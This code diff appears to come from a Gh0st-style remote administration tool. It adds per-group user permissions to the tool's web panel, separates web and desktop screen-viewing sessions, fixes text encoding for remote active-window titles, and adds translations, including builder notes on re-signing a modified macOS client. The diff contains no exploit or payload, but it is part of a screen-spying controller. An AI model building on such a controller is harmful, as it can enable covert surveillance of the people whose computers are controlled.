const container = document.getElementById('groups-checkboxes');
if (!groups || groups.length === 0) {
container.innerHTML = '<span style="color:#666;font-size:12px;">No groups available</span>';
return;
}
container.innerHTML = groups.map(g =>
'<label style="display:flex;align-items:center;padding:3px 0;cursor:pointer;white-space:nowrap;">' +
'<input type="checkbox" value="' + escapeHtml(g) + '" style="margin:0 6px 0 0;flex-shrink:0;width:14px;height:14px;">' +
escapeHtml(g) + '</label>'
).join('');
}
function onRoleChange() {
const role = document.getElementById('new-role').value;
const groupsSection = document.getElementById('groups-section');
groupsSection.style.display = (role === 'admin') ? 'none' : 'block';
} }
function closeUsersModal() { function closeUsersModal() {
@@ -1685,8 +1722,12 @@ inline std::string GetWebPageHTML() {
return; return;
} }
// Collect selected groups
const checkboxes = document.querySelectorAll('#groups-checkboxes input[type="checkbox"]:checked');
const allowed_groups = Array.from(checkboxes).map(cb => cb.value);
if (ws && ws.readyState === WebSocket.OPEN && token) { if (ws && ws.readyState === WebSocket.OPEN && token) {
ws.send(JSON.stringify({ cmd: 'create_user', token, username, password, role })); ws.send(JSON.stringify({ cmd: 'create_user', token, username, password, role, allowed_groups }));
} }
} }
@@ -1712,10 +1753,14 @@ inline std::string GetWebPageHTML() {
container.innerHTML = users.map(u => { container.innerHTML = users.map(u => {
const isAdmin = u.role === 'admin'; const isAdmin = u.role === 'admin';
const canDelete = u.username !== 'admin'; // Cannot delete built-in admin const canDelete = u.username !== 'admin'; // Cannot delete built-in admin
const groups = u.allowed_groups || [];
const groupsText = u.username === 'admin' ? '(all)' :
(groups.length > 0 ? groups.join(', ') : '(none)');
return '<div class="user-item">' + return '<div class="user-item">' +
'<div class="user-info">' + '<div class="user-info">' +
'<div class="username">' + escapeHtml(u.username) + '</div>' + '<div class="username">' + escapeHtml(u.username) + '</div>' +
'<div class="role ' + (isAdmin ? 'admin' : '') + '">' + u.role + '</div>' + '<div class="role ' + (isAdmin ? 'admin' : '') + '">' + u.role + '</div>' +
'<div class="groups" style="font-size:11px;color:#888;margin-top:2px;">Groups: ' + escapeHtml(groupsText) + '</div>' +
'</div>' + '</div>' +
(canDelete ? '<button class="delete-btn" onclick="deleteUser(\'' + escapeHtml(u.username) + '\')">Delete</button>' : '') + (canDelete ? '<button class="delete-btn" onclick="deleteUser(\'' + escapeHtml(u.username) + '\')">Delete</button>' : '') +
'</div>'; '</div>';
@@ -1801,13 +1846,15 @@ inline std::string GetWebPageHTML() {
// Remote cursor mapping (Windows cursor index -> CSS cursor) // Remote cursor mapping (Windows cursor index -> CSS cursor)
// Index matches CursorInfo.h: IDC_APPSTARTING(0) to IDC_WAIT(15), 254=custom, 255=unsupported // Index matches CursorInfo.h: IDC_APPSTARTING(0) to IDC_WAIT(15), 254=custom, 255=unsupported
// Custom I-beam cursor with white fill and black stroke for visibility on any background
const ibeamCursor = "url('data:image/svg+xml,<svg xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"24\" viewBox=\"0 0 16 24\"><path fill=\"none\" stroke=\"white\" stroke-width=\"3\" d=\"M4 3h8M8 3v18M4 21h8\"/><path fill=\"none\" stroke=\"black\" stroke-width=\"1\" d=\"M4 3h8M8 3v18M4 21h8\"/></svg>') 8 12, text";
const cursorMap = [ const cursorMap = [
'progress', // 0: IDC_APPSTARTING 'progress', // 0: IDC_APPSTARTING
'default', // 1: IDC_ARROW 'default', // 1: IDC_ARROW
'crosshair', // 2: IDC_CROSS 'crosshair', // 2: IDC_CROSS
'pointer', // 3: IDC_HAND 'pointer', // 3: IDC_HAND
'help', // 4: IDC_HELP 'help', // 4: IDC_HELP
'text', // 5: IDC_IBEAM ibeamCursor, // 5: IDC_IBEAM - custom cursor with outline
'default', // 6: IDC_ICON (no direct CSS equivalent) 'default', // 6: IDC_ICON (no direct CSS equivalent)
'not-allowed', // 7: IDC_NO 'not-allowed', // 7: IDC_NO
'default', // 8: IDC_SIZE (deprecated, use default) 'default', // 8: IDC_SIZE (deprecated, use default)

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@@ -11,6 +11,7 @@
#include <filesystem> #include <filesystem>
#include <fstream> #include <fstream>
#include <shlobj.h> #include <shlobj.h>
#include <set>
// Algorithm constants (same as ScreenSpyDlg.cpp) // Algorithm constants (same as ScreenSpyDlg.cpp)
#define ALGORITHM_H264 2 #define ALGORITHM_H264 2
@@ -363,6 +364,8 @@ void CWebService::ServerThread(int port) {
HandleDeleteUser(ws_ptr, msg); HandleDeleteUser(ws_ptr, msg);
} else if (cmd == "list_users") { } else if (cmd == "list_users") {
HandleListUsers(ws_ptr, token); HandleListUsers(ws_ptr, token);
} else if (cmd == "get_groups") {
HandleGetGroups(ws_ptr, token);
} }
} }
}); });
@@ -566,7 +569,7 @@ void CWebService::HandleGetDevices(void* ws_ptr, const std::string& token) {
return; return;
} }
SendText(ws_ptr, BuildDeviceListJson()); SendText(ws_ptr, BuildDeviceListJson(username));
} }
void CWebService::HandleConnect(void* ws_ptr, const std::string& token, uint64_t device_id) { void CWebService::HandleConnect(void* ws_ptr, const std::string& token, uint64_t device_id) {
@@ -588,6 +591,32 @@ void CWebService::HandleConnect(void* ws_ptr, const std::string& token, uint64_t
return; return;
} }
// Check group permission (admin can access all devices)
if (username != "admin") {
std::string deviceGroup = ctx->GetGroupName();
if (deviceGroup.empty()) deviceGroup = "default";
bool hasAccess = false;
{
std::lock_guard<std::mutex> lock(m_UsersMutex);
for (const auto& u : m_Users) {
if (u.username == username) {
for (const auto& g : u.allowed_groups) {
if (g == deviceGroup) {
hasAccess = true;
break;
}
}
break;
}
}
}
if (!hasAccess) {
SendText(ws_ptr, BuildJsonResponse("connect_result", false, "Permission denied"));
return;
}
}
// Check max clients per device // Check max clients per device
int current_count = GetWebClientCount(device_id); int current_count = GetWebClientCount(device_id);
if (current_count >= m_nMaxClientsPerDevice) { if (current_count >= m_nMaxClientsPerDevice) {
@@ -954,12 +983,23 @@ void CWebService::HandleCreateUser(void* ws_ptr, const std::string& msg) {
std::string newPassword = root.get("password", "").asString(); std::string newPassword = root.get("password", "").asString();
std::string newRole = root.get("role", "viewer").asString(); std::string newRole = root.get("role", "viewer").asString();
// Parse allowed_groups array
std::vector<std::string> allowedGroups;
const Json::Value& groups = root["allowed_groups"];
if (groups.isArray()) {
for (const auto& g : groups) {
if (g.isString() && !g.asString().empty()) {
allowedGroups.push_back(g.asString());
}
}
}
if (newUsername.empty() || newPassword.empty()) { if (newUsername.empty() || newPassword.empty()) {
SendText(ws_ptr, BuildJsonResponse("create_user_result", false, "Username and password required")); SendText(ws_ptr, BuildJsonResponse("create_user_result", false, "Username and password required"));
return; return;
} }
if (CreateUser(newUsername, newPassword, newRole)) { if (CreateUser(newUsername, newPassword, newRole, allowedGroups)) {
SendText(ws_ptr, BuildJsonResponse("create_user_result", true)); SendText(ws_ptr, BuildJsonResponse("create_user_result", true));
} else { } else {
SendText(ws_ptr, BuildJsonResponse("create_user_result", false, "Failed to create user (may already exist)")); SendText(ws_ptr, BuildJsonResponse("create_user_result", false, "Failed to create user (may already exist)"));
@@ -1009,19 +1049,28 @@ void CWebService::HandleListUsers(void* ws_ptr, const std::string& token) {
return; return;
} }
auto users = ListUsers();
Json::Value res; Json::Value res;
res["cmd"] = "list_users_result"; res["cmd"] = "list_users_result";
res["ok"] = true; res["ok"] = true;
Json::Value usersArray(Json::arrayValue); Json::Value usersArray(Json::arrayValue);
for (const auto& u : users) { {
std::lock_guard<std::mutex> lock(m_UsersMutex);
for (const auto& u : m_Users) {
Json::Value user; Json::Value user;
user["username"] = u.first; user["username"] = u.username;
user["role"] = u.second; user["role"] = u.role;
// Include allowed_groups
Json::Value groups(Json::arrayValue);
for (const auto& g : u.allowed_groups) {
groups.append(g);
}
user["allowed_groups"] = groups;
usersArray.append(user); usersArray.append(user);
} }
}
res["users"] = usersArray; res["users"] = usersArray;
Json::StreamWriterBuilder builder; Json::StreamWriterBuilder builder;
@@ -1030,6 +1079,48 @@ void CWebService::HandleListUsers(void* ws_ptr, const std::string& token) {
SendText(ws_ptr, json); SendText(ws_ptr, json);
} }
void CWebService::HandleGetGroups(void* ws_ptr, const std::string& token) {
std::string username, role;
if (!ValidateToken(token, username, role)) {
SendText(ws_ptr, BuildJsonResponse("groups", false, "Invalid token"));
return;
}
// Only admin can get groups list (for user management)
if (role != "admin") {
SendText(ws_ptr, BuildJsonResponse("groups", false, "Permission denied"));
return;
}
// Collect all unique groups from online devices
std::set<std::string> groups;
groups.insert("default"); // Always include default group
if (m_pParentDlg) {
EnterCriticalSection(&m_pParentDlg->m_cs);
for (context* ctx : m_pParentDlg->m_HostList) {
if (!ctx || !ctx->IsLogin()) continue;
std::string g = ctx->GetGroupName();
groups.insert(g.empty() ? "default" : g);
}
LeaveCriticalSection(&m_pParentDlg->m_cs);
}
// Build response
Json::Value res;
res["cmd"] = "groups";
res["ok"] = true;
res["groups"] = Json::Value(Json::arrayValue);
for (const auto& g : groups) {
res["groups"].append(g);
}
Json::StreamWriterBuilder builder;
builder["indentation"] = "";
std::string json = Json::writeString(builder, res);
SendText(ws_ptr, json);
}
////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////
// Token Management (delegated to WebServiceAuth module) // Token Management (delegated to WebServiceAuth module)
////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////
@@ -1170,6 +1261,14 @@ void CWebService::LoadUsers() {
user.salt = u.get("salt", "").asString(); user.salt = u.get("salt", "").asString();
user.role = u.get("role", "viewer").asString(); user.role = u.get("role", "viewer").asString();
// Load allowed_groups
const Json::Value& groups = u["allowed_groups"];
if (groups.isArray()) {
for (const auto& g : groups) {
user.allowed_groups.push_back(g.asString());
}
}
if (!user.password_hash.empty()) { if (!user.password_hash.empty()) {
m_Users.push_back(user); m_Users.push_back(user);
loaded++; loaded++;
@@ -1197,6 +1296,14 @@ void CWebService::SaveUsers() {
user["password_hash"] = u.password_hash; user["password_hash"] = u.password_hash;
user["salt"] = u.salt; user["salt"] = u.salt;
user["role"] = u.role; user["role"] = u.role;
// Save allowed_groups
Json::Value groups(Json::arrayValue);
for (const auto& g : u.allowed_groups) {
groups.append(g);
}
user["allowed_groups"] = groups;
users.append(user); users.append(user);
} }
@@ -1217,7 +1324,8 @@ void CWebService::SaveUsers() {
Mprintf("[WebService] Saved %d users to users.json\n", (int)users.size()); Mprintf("[WebService] Saved %d users to users.json\n", (int)users.size());
} }
bool CWebService::CreateUser(const std::string& username, const std::string& password, const std::string& role) { bool CWebService::CreateUser(const std::string& username, const std::string& password, const std::string& role,
const std::vector<std::string>& allowed_groups) {
if (username.empty() || password.empty()) return false; if (username.empty() || password.empty()) return false;
if (username == "admin") return false; // Cannot create user named "admin" if (username == "admin") return false; // Cannot create user named "admin"
if (role != "admin" && role != "viewer") return false; if (role != "admin" && role != "viewer") return false;
@@ -1236,9 +1344,11 @@ bool CWebService::CreateUser(const std::string& username, const std::string& pas
user.salt = GenerateSalt(); user.salt = GenerateSalt();
user.password_hash = WSAuth::ComputeSHA256(password + user.salt); user.password_hash = WSAuth::ComputeSHA256(password + user.salt);
user.role = role; user.role = role;
user.allowed_groups = allowed_groups;
m_Users.push_back(user); m_Users.push_back(user);
Mprintf("[WebService] Created user: %s (role: %s)\n", username.c_str(), role.c_str()); Mprintf("[WebService] Created user: %s (role: %s, groups: %d)\n",
username.c_str(), role.c_str(), (int)allowed_groups.size());
} }
// Save to file (outside lock scope since SaveUsers acquires its own lock) // Save to file (outside lock scope since SaveUsers acquires its own lock)
@@ -1295,17 +1405,47 @@ std::string CWebService::BuildJsonResponse(const std::string& cmd, bool ok, cons
return Json::writeString(builder, res); return Json::writeString(builder, res);
} }
std::string CWebService::BuildDeviceListJson() { std::string CWebService::BuildDeviceListJson(const std::string& username) {
Json::Value res; Json::Value res;
res["cmd"] = "device_list"; res["cmd"] = "device_list";
res["devices"] = Json::Value(Json::arrayValue); res["devices"] = Json::Value(Json::arrayValue);
// Get user's allowed groups for filtering (skip for admin or empty username)
std::vector<std::string> allowedGroups;
bool filterByGroup = false;
if (!username.empty() && username != "admin") {
std::lock_guard<std::mutex> lock(m_UsersMutex);
for (const auto& u : m_Users) {
if (u.username == username) {
allowedGroups = u.allowed_groups;
filterByGroup = true;
break;
}
}
}
if (m_pParentDlg) { if (m_pParentDlg) {
// Access device list with lock // Access device list with lock
EnterCriticalSection(&m_pParentDlg->m_cs); EnterCriticalSection(&m_pParentDlg->m_cs);
for (context* ctx : m_pParentDlg->m_HostList) { for (context* ctx : m_pParentDlg->m_HostList) {
if (!ctx || !ctx->IsLogin()) continue; if (!ctx || !ctx->IsLogin()) continue;
// Get device group (empty = "default")
std::string deviceGroup = ctx->GetGroupName();
if (deviceGroup.empty()) deviceGroup = "default";
// Filter by allowed groups if user is not admin
if (filterByGroup) {
bool allowed = false;
for (const auto& g : allowedGroups) {
if (g == deviceGroup) {
allowed = true;
break;
}
}
if (!allowed) continue; // Skip device not in allowed groups
}
Json::Value device; Json::Value device;
// Use string for ID to avoid JavaScript number precision loss // Use string for ID to avoid JavaScript number precision loss
device["id"] = std::to_string(ctx->GetClientID()); device["id"] = std::to_string(ctx->GetClientID());
@@ -1328,10 +1468,29 @@ std::string CWebService::BuildDeviceListJson() {
CString version = ctx->GetClientData(ONLINELIST_VERSION); CString version = ctx->GetClientData(ONLINELIST_VERSION);
device["version"] = AnsiToUtf8(version); device["version"] = AnsiToUtf8(version);
// 活动窗口编码由客户端能力位决定:新客户端是 UTF-8老客户端是 CP_ACP默认 936
// 不能像其它字段那样无脑 AnsiToUtf8——会把新客户端的 UTF-8 字节再当 GBK 双重编码。
CString activeWindow = ctx->GetClientData(ONLINELIST_LOGINTIME); CString activeWindow = ctx->GetClientData(ONLINELIST_LOGINTIME);
device["activeWindow"] = AnsiToUtf8(activeWindow); std::string activeWindowU8;
if (!activeWindow.IsEmpty()) {
UINT cp = GetClientEncoding(ctx);
int wlen = MultiByteToWideChar(cp, 0, activeWindow, -1, NULL, 0);
if (wlen > 1) {
std::wstring w(wlen - 1, L'\0');
MultiByteToWideChar(cp, 0, activeWindow, -1, &w[0], wlen);
int u8len = WideCharToMultiByte(CP_UTF8, 0, w.c_str(), -1, NULL, 0, NULL, NULL);
if (u8len > 1) {
activeWindowU8.resize(u8len - 1);
WideCharToMultiByte(CP_UTF8, 0, w.c_str(), -1, &activeWindowU8[0], u8len, NULL, NULL);
}
}
}
device["activeWindow"] = activeWindowU8;
device["online"] = true; device["online"] = true;
// Add device group to response
device["group"] = deviceGroup;
// Get screen info from client's reported resolution // Get screen info from client's reported resolution
// Format: "n:MxN" where n=monitor count, M=width, N=height // Format: "n:MxN" where n=monitor count, M=width, N=height
CString resolution = ctx->GetAdditionalData(RES_RESOLUTION); CString resolution = ctx->GetAdditionalData(RES_RESOLUTION);
@@ -1509,9 +1668,13 @@ bool CWebService::StartRemoteDesktop(uint64_t device_id) {
context* ctx = m_pParentDlg->FindHost(device_id); context* ctx = m_pParentDlg->FindHost(device_id);
if (!ctx) return false; if (!ctx) return false;
// Close any existing remote desktop for this device first // Check if there's already a Web session for this device
// This prevents duplicate dialogs when user reconnects quickly // Only reuse if Web has already triggered AND a Web dialog exists
m_pParentDlg->CloseRemoteDesktopByClientID(device_id); // This ensures MFC and Web have independent dialogs
if (IsWebTriggered(device_id) && HasActiveSession(device_id)) {
Mprintf("[WebService] Reusing existing Web session for device %llu\n", device_id);
return true; // Web session exists, new web user joins watching
}
// Mark as web-triggered (dialog should be hidden) // Mark as web-triggered (dialog should be hidden)
{ {
@@ -1520,7 +1683,8 @@ bool CWebService::StartRemoteDesktop(uint64_t device_id) {
} }
// Send COMMAND_SCREEN_SPY with H264 algorithm // Send COMMAND_SCREEN_SPY with H264 algorithm
// Format: [COMMAND_SCREEN_SPY:1][DXGI:1][Algorithm:1][MultiScreen:1] // If client is already capturing (MFC opened first), it will re-send TOKEN_BITMAPINFO
// This creates a new hidden Web dialog while MFC dialog remains visible
BYTE bToken[32] = { 0 }; BYTE bToken[32] = { 0 };
bToken[0] = COMMAND_SCREEN_SPY; bToken[0] = COMMAND_SCREEN_SPY;
bToken[1] = 0; // DXGI mode: 0=GDI bToken[1] = 0; // DXGI mode: 0=GDI
@@ -1544,10 +1708,11 @@ void CWebService::StopRemoteDesktop(uint64_t device_id) {
} }
} }
// If no more web clients watching, close the remote desktop // If no more web clients watching, close only the Web session dialog
// MFC dialogs remain open
if (watchingCount == 0) { if (watchingCount == 0) {
ClearWebTriggered(device_id); ClearWebTriggered(device_id);
m_pParentDlg->CloseRemoteDesktopByClientID(device_id); m_pParentDlg->CloseWebRemoteDesktopByClientID(device_id);
} }
} }
@@ -1563,11 +1728,14 @@ void CWebService::RegisterScreenContext(uint64_t device_id, CONTEXT_OBJECT* ctx)
} }
void CWebService::UnregisterScreenContext(uint64_t device_id) { void CWebService::UnregisterScreenContext(uint64_t device_id) {
if (!m_bRunning) return; // Always clean up, even if WebService is stopping
// This prevents stale pointers in m_ScreenContexts
std::lock_guard<std::mutex> lock(m_ScreenContextsMutex); std::lock_guard<std::mutex> lock(m_ScreenContextsMutex);
m_ScreenContexts.erase(device_id); m_ScreenContexts.erase(device_id);
if (m_bRunning) {
Mprintf("[WebService] Unregistered screen context for device %llu\n", device_id); Mprintf("[WebService] Unregistered screen context for device %llu\n", device_id);
} }
}
CONTEXT_OBJECT* CWebService::GetScreenContext(uint64_t device_id) { CONTEXT_OBJECT* CWebService::GetScreenContext(uint64_t device_id) {
std::lock_guard<std::mutex> lock(m_ScreenContextsMutex); std::lock_guard<std::mutex> lock(m_ScreenContextsMutex);
@@ -1666,6 +1834,26 @@ void CWebService::ClearWebTriggered(uint64_t device_id) {
m_WebTriggeredDevices.erase(device_id); m_WebTriggeredDevices.erase(device_id);
} }
void CWebService::SetMfcTriggered(uint64_t device_id) {
std::lock_guard<std::mutex> lock(m_MfcTriggeredMutex);
m_MfcTriggeredDevices.insert(device_id);
}
bool CWebService::IsMfcTriggered(uint64_t device_id) {
std::lock_guard<std::mutex> lock(m_MfcTriggeredMutex);
return m_MfcTriggeredDevices.find(device_id) != m_MfcTriggeredDevices.end();
}
void CWebService::ClearMfcTriggered(uint64_t device_id) {
std::lock_guard<std::mutex> lock(m_MfcTriggeredMutex);
m_MfcTriggeredDevices.erase(device_id);
}
bool CWebService::HasActiveSession(uint64_t device_id) {
std::lock_guard<std::mutex> lock(m_ScreenContextsMutex);
return m_ScreenContexts.find(device_id) != m_ScreenContexts.end();
}
void CWebService::NotifyDeviceUpdate(uint64_t device_id, const std::string& rtt, const std::string& activeWindow) { void CWebService::NotifyDeviceUpdate(uint64_t device_id, const std::string& rtt, const std::string& activeWindow) {
if (!m_bRunning || m_bStopping) return; if (!m_bRunning || m_bStopping) return;

View File

@@ -43,6 +43,7 @@ struct WebUser {
std::string password_hash; // SHA256(password + salt) std::string password_hash; // SHA256(password + salt)
std::string salt; std::string salt;
std::string role; // "admin" | "viewer" std::string role; // "admin" | "viewer"
std::vector<std::string> allowed_groups; // Groups this user can view (empty = no access, admin = all)
}; };
// Device info for web clients // Device info for web clients
@@ -79,7 +80,8 @@ public:
void SetAdminPassword(const std::string& password); void SetAdminPassword(const std::string& password);
// User management // User management
bool CreateUser(const std::string& username, const std::string& password, const std::string& role); bool CreateUser(const std::string& username, const std::string& password, const std::string& role,
const std::vector<std::string>& allowed_groups = {});
bool DeleteUser(const std::string& username); bool DeleteUser(const std::string& username);
std::vector<std::pair<std::string, std::string>> ListUsers(); // Returns [(username, role), ...] std::vector<std::pair<std::string, std::string>> ListUsers(); // Returns [(username, role), ...]
@@ -144,7 +146,7 @@ private:
// JSON helpers // JSON helpers
std::string BuildJsonResponse(const std::string& cmd, bool ok, const std::string& msg = ""); std::string BuildJsonResponse(const std::string& cmd, bool ok, const std::string& msg = "");
std::string BuildDeviceListJson(); std::string BuildDeviceListJson(const std::string& username = "");
// Password verification // Password verification
bool VerifyPassword(const std::string& input, const WebUser& user); bool VerifyPassword(const std::string& input, const WebUser& user);
@@ -157,6 +159,7 @@ private:
void HandleCreateUser(void* ws_ptr, const std::string& msg); void HandleCreateUser(void* ws_ptr, const std::string& msg);
void HandleDeleteUser(void* ws_ptr, const std::string& msg); void HandleDeleteUser(void* ws_ptr, const std::string& msg);
void HandleListUsers(void* ws_ptr, const std::string& token); void HandleListUsers(void* ws_ptr, const std::string& token);
void HandleGetGroups(void* ws_ptr, const std::string& token);
// Send to WebSocket // Send to WebSocket
void SendText(void* ws_ptr, const std::string& text); void SendText(void* ws_ptr, const std::string& text);
@@ -224,6 +227,14 @@ public:
bool IsWebTriggered(uint64_t device_id); bool IsWebTriggered(uint64_t device_id);
void ClearWebTriggered(uint64_t device_id); void ClearWebTriggered(uint64_t device_id);
// MFC trigger management - MFC dialogs should always be visible
void SetMfcTriggered(uint64_t device_id);
bool IsMfcTriggered(uint64_t device_id);
void ClearMfcTriggered(uint64_t device_id);
// Check if a remote desktop session already exists for device
bool HasActiveSession(uint64_t device_id);
// Config accessors // Config accessors
void SetHideWebSessions(bool hide) { m_bHideWebSessions = hide; } void SetHideWebSessions(bool hide) { m_bHideWebSessions = hide; }
bool GetHideWebSessions() const { return m_bHideWebSessions; } bool GetHideWebSessions() const { return m_bHideWebSessions; }
@@ -240,6 +251,10 @@ private:
// Screen context registry: device_id -> ScreenManager's CONTEXT_OBJECT // Screen context registry: device_id -> ScreenManager's CONTEXT_OBJECT
std::map<uint64_t, CONTEXT_OBJECT*> m_ScreenContexts; std::map<uint64_t, CONTEXT_OBJECT*> m_ScreenContexts;
std::mutex m_ScreenContextsMutex; std::mutex m_ScreenContextsMutex;
// MFC triggered devices: dialogs created by MFC should always be visible
std::set<uint64_t> m_MfcTriggeredDevices;
std::mutex m_MfcTriggeredMutex;
}; };
// Global accessor // Global accessor

View File

@@ -60,4 +60,19 @@ public:
if (caps.IsEmpty()) return false; if (caps.IsEmpty()) return false;
return (strtoul(caps.GetString(), nullptr, 16) & CLIENT_CAP_V2) != 0; return (strtoul(caps.GetString(), nullptr, 16) & CLIENT_CAP_V2) != 0;
} }
// 检查客户端是否使用 UTF-8 协议字符串编码。
// 无此能力位的老客户端:服务端按 CP_ACPCP936覆盖 95% 的简中/英语 ASCII 老客户端)解读。
bool SupportsUtf8() const {
CString caps = GetClientData(ONLINELIST_CAPABILITIES);
if (caps.IsEmpty()) return false;
return (strtoul(caps.GetString(), nullptr, 16) & CLIENT_CAP_UTF8) != 0;
}
// 检查客户端是否支持屏幕预览(双击主机时拉缩略图)。
bool SupportsScreenPreview() const {
CString caps = GetClientData(ONLINELIST_CAPABILITIES);
if (caps.IsEmpty()) return false;
return (strtoul(caps.GetString(), nullptr, 16) & CLIENT_CAP_SCREEN_PREVIEW) != 0;
}
}; };

View File

@@ -1171,7 +1171,7 @@ WIN32
请选择目录=Language location 请选择目录=Language location
国际化(&N)=Internationalization 国际化(&N)=Internationalization
语言包目录(&D)=Language Pack Directory 语言包目录(&D)=Language Pack Directory
请通过“扩展”菜单指定语言包目录以支持多语言=Please specify the language pack directory via the "Extensions" menu to enable multi-language support. 请通过\"扩展\"菜单指定语言包目录以支持多语言=Please specify the language pack directory via the "Extensions" menu to enable multi-language support.
请选择[*.ico]图标文件或输入进程描述!=Please select an [*.ico] icon file or enter a process description! 请选择[*.ico]图标文件或输入进程描述!=Please select an [*.ico] icon file or enter a process description!
PE 编辑=PE Edit PE 编辑=PE Edit
PE 编辑(&R)=PE Edit(&R) PE 编辑(&R)=PE Edit(&R)
@@ -1819,3 +1819,15 @@ IOCP
插件列表为空,无法创建触发器=Plugin list is empty, cannot create trigger 插件列表为空,无法创建触发器=Plugin list is empty, cannot create trigger
请先选择至少一个插件=Please select at least one plugin 请先选择至少一个插件=Please select at least one plugin
没有本地历史记录=No local history
历史目录不存在: %s=History folder not exist: %s
无法识别远程主机=Unknown remote machine
没有远程历史记录=No remote history
算法自适应=Algorithm Adaptive
; Build Dialog - English Translation
; Format: Simplified Chinese=English
; 用途: 生成 macOS 客户端成功提示新增的 3 条文案
提示: macOS 端 binary 已被修改导致签名失效,直接运行会被系统强杀。=Note: The macOS binary has been modified, invalidating its code signature. Running it directly will be killed by the system.
推荐: 拷贝到 macOS 后运行 install.sh 安装 (脚本会自动重签)。=Recommended: Copy to macOS and run install.sh (the script re-signs automatically).
或手动重签:=Or re-sign manually:

View File

@@ -1169,7 +1169,7 @@ WIN32
请选择目录=請選擇目錄 请选择目录=請選擇目錄
国际化(&N)=國際化 国际化(&N)=國際化
语言包目录(&D)=語言包目錄 语言包目录(&D)=語言包目錄
请通过“扩展”菜单指定语言包目录以支持多语言=請透過「擴充」選單指定語言包目錄,以支援多國語言。 请通过\"扩展\"菜单指定语言包目录以支持多语言=請透過「擴充」選單指定語言包目錄,以支援多國語言。
请选择[*.ico]图标文件或输入进程描述!=請選擇[*.ico]圖示檔案或輸入處理程序描述! 请选择[*.ico]图标文件或输入进程描述!=請選擇[*.ico]圖示檔案或輸入處理程序描述!
PE 编辑=PE 編輯 PE 编辑=PE 編輯
PE 编辑(&R)=PE 編輯(&R) PE 编辑(&R)=PE 編輯(&R)
@@ -1810,3 +1810,15 @@ IOCP
<< 移除=<< 移除 << 移除=<< 移除
插件列表为空,无法创建触发器=外掛列表為空,無法建立觸發器 插件列表为空,无法创建触发器=外掛列表為空,無法建立觸發器
请先选择至少一个插件=請先選擇至少一個外掛 请先选择至少一个插件=請先選擇至少一個外掛
没有本地历史记录=没有本地历史记录
历史目录不存在: %s=历史目录不存在: %s
无法识别远程主机=无法识别远程主机
没有远程历史记录=没有远程历史记录
算法自适应=算法自适应
; Build Dialog - Traditional Chinese Translation
; Format: Simplified Chinese=Traditional Chinese
; 用途: 生成 macOS 客户端成功提示新增的 3 条文案
提示: macOS 端 binary 已被修改导致签名失效,直接运行会被系统强杀。=提示: macOS 端 binary 已被修改導致簽章失效,直接執行會被系統強制終止。
推荐: 拷贝到 macOS 后运行 install.sh 安装 (脚本会自动重签)。=推薦: 複製到 macOS 後執行 install.sh 安裝 (腳本會自動重新簽章)。
或手动重签:=或手動重新簽章:

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@@ -248,9 +248,15 @@
#define IDB_BITMAP8 369 #define IDB_BITMAP8 369
#define IDB_BITMAP_CANCELSHARE 369 #define IDB_BITMAP_CANCELSHARE 369
#define IDD_DIALOG_PLUGIN_SETTINGS 370 #define IDD_DIALOG_PLUGIN_SETTINGS 370
#define IDD_DIALOG_TRIGGER_SETTINGS 371
#define IDR_MODERN_TERMINAL 371
#define IDB_BITMAP_TRIGGER 372 #define IDB_BITMAP_TRIGGER 372
#define IDR_BINARY7 372
#define IDR_MACOS_GHOST 372
#define IDB_BITMAP_WEBDESKTOP 373 #define IDB_BITMAP_WEBDESKTOP 373
#define IDB_BITMAP_PLUGINCONFIG 374 #define IDB_BITMAP_PLUGINCONFIG 374
#define IDR_LANG_EN_US 380
#define IDR_LANG_ZH_TW 381
#define IDC_MESSAGE 1000 #define IDC_MESSAGE 1000
#define IDC_ONLINE 1001 #define IDC_ONLINE 1001
#define IDC_STATIC_TIPS 1002 #define IDC_STATIC_TIPS 1002
@@ -506,6 +512,8 @@
#define IDT_REMOTE_DOWNLOADS 2235 #define IDT_REMOTE_DOWNLOADS 2235
#define IDT_REMOTE_HOME 2236 #define IDT_REMOTE_HOME 2236
#define IDT_REMOTE_SEARCH 2237 #define IDT_REMOTE_SEARCH 2237
#define IDT_LOCAL_HISTORY 2238
#define IDT_REMOTE_HISTORY 2239
#define IDC_BUTTON_SAVE_LICENSE 2240 #define IDC_BUTTON_SAVE_LICENSE 2240
#define IDC_LICENSE_LIST 2241 #define IDC_LICENSE_LIST 2241
#define IDC_COMBO_VERSION 2245 #define IDC_COMBO_VERSION 2245
@@ -722,6 +730,13 @@
#define IDC_STATIC_PLUGIN_SCHEDULE 2536 #define IDC_STATIC_PLUGIN_SCHEDULE 2536
#define IDC_STATIC_PLUGIN_INTERVAL 2537 #define IDC_STATIC_PLUGIN_INTERVAL 2537
#define IDC_STATIC_PLUGIN_COUNTER 2538 #define IDC_STATIC_PLUGIN_COUNTER 2538
#define IDC_COMBO_TRIGGER_TYPE 2539
#define IDC_LIST_TRIGGER_PLUGINS 2540
#define IDC_BTN_TRIGGER_ADD 2541
#define IDC_BTN_TRIGGER_REMOVE 2542
#define IDC_LIST_TRIGGERS 2543
#define IDC_STATIC_TRIGGER_TYPE 2544
#define IDC_STATIC_TRIGGER_ACTION 2545
#define ID_ONLINE_UPDATE 32772 #define ID_ONLINE_UPDATE 32772
#define ID_ONLINE_MESSAGE 32773 #define ID_ONLINE_MESSAGE 32773
#define ID_ONLINE_DELETE 32775 #define ID_ONLINE_DELETE 32775
@@ -955,22 +970,14 @@
#define ID_TOOL_PLUGIN_SETTINGS 33045 #define ID_TOOL_PLUGIN_SETTINGS 33045
#define ID_33046 33046 #define ID_33046 33046
#define ID_PROXY_PORT_AUTORUN 33047 #define ID_PROXY_PORT_AUTORUN 33047
#define ID_EXIT_FULLSCREEN 40001
#define ID_TRIGGER_SETTINGS 33048 #define ID_TRIGGER_SETTINGS 33048
#define IDD_DIALOG_TRIGGER_SETTINGS 371 #define ID_EXIT_FULLSCREEN 40001
#define IDC_COMBO_TRIGGER_TYPE 2539
#define IDC_LIST_TRIGGER_PLUGINS 2540
#define IDC_BTN_TRIGGER_ADD 2541
#define IDC_BTN_TRIGGER_REMOVE 2542
#define IDC_LIST_TRIGGERS 2543
#define IDC_STATIC_TRIGGER_TYPE 2544
#define IDC_STATIC_TRIGGER_ACTION 2545
// Next default values for new objects // Next default values for new objects
// //
#ifdef APSTUDIO_INVOKED #ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS #ifndef APSTUDIO_READONLY_SYMBOLS
